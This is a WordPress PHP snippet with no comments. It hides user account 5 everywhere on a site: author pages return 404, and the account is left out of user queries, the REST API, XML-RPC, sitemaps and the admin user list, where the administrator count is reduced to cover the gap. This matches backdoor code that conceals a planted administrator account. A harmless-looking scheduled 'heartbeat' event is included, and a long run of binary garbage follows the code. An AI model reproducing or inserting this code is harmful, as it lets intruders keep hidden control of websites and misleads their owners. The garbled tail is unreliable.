add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎#r6wP;+d!$]a
*N2Vi=Yfo0H}Ym]Q-8?n]W৫n5_.Va_/՟}?Uiw˫W՟?_K;t>OC->7nZ]{|6Wnv_~u^?>/
4TӘ_M&3sOe}]MwOfYOd^i|XmorXM֫n֓'"O1>7->ۮ/_>f;~?~ៗiXo_M/監fvOrGhXM;/./Gp`'Ue{ Py+c.N]mč.Z
S.}trK
NÍi
nnLbF4oF/
yH]'>M)(a=GIn JNփPO=q wT7ɉ'zn]&d}&]aTqpJ11L]01Sak?$n'5$76!e4u~=ٮ58[I~}RсW'c99Na'͍caOXT TD䄴 䤿|+#;
A-w$bWظ#h>>>M|
> 8}
}9^EzJJ|#'ULTx`#@9^Em|
:nX78*枏P{>}Gs_EEU`t_2}mΛ4PqށGs5qdfŌ,7ıqd57V5qqRFPG|@wwI|cuH;yӌK䧩Kwؔ:/]#SVq"Tq=+JcTɋɺ2q1=+\L*{wX2IMI6g߁$|Ж-y@1f{p|4'EE7=>1;]p{7-)z|JJ=08W;pmcGs8q{$pD
xdp]jnL1jǗ|`ǠK:օl^
+EEg"3k:I%Ex>8rȃ \qȵt9+p$Aq:p`(Ape]Є9~#mS|PhCdm̤E)1i
=EU=sHHMVlhz5@JmvsiZss&i:nDPh%8M"2,
ɓP\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